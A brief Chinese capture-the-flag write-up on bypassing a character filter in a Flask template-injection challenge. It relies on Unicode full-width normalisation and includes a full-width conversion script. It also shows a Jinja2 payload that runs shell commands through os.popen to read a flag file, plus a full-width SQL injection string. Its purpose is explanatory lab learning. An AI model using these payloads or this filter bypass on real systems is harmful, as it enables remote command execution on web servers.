
看功能就知道是个模板注入,但是我试了很多竟发现所有括号、下划线、点号都被后端过滤了,后来才知道要用全角字符,这有一个知识点
1 2 3 4 5 6 7 8
| Flask框架内部完全使用Unicode字符集,在Unicode字符集中有很多我们看起来一样但是,内部编码不一样的字符,如 "admin" "аdmin" "admi̇n" "αdmin"
Unicode的复杂性可以实现一些绕过 如,全角SQL语句' OR 1=1 -- ==>经过标准化后,成了攻击载荷,'OR 1=1--
|
可以参考https://zhuanlan.zhihu.com/p/1935292167418550141
这一题Live Preview不会进行标准化,Export Console会,了解Unicode标准化化攻击后,我猜测是因为上面的预览不保存,下面的会进行标准化后保存后然后再模板渲染,导致了Unicode标准化攻击

这时候可以用全角字符代替半角字符,构造payload,可以写一个全角转半角脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| {% raw %} def to_full_width(text): """ 将字符串中的半角字符转换为全角字符 """ result = "" for char in text: code = ord(char) if 33 <= code <= 126: code += 65248 elif code == 32: code = 12288 result += chr(code) return result
payload = "{{lipsum.__globals__['os'].popen('ls').read()}}"
full_width_payload = to_full_width(payload) print(f"原始: {payload}") print(f"全角: {full_width_payload}")
{% endraw %}
|
这样就很简单了,payload:
1
| {{lipsum.__globals__['os'].popen('cat /flag').read()}}
|
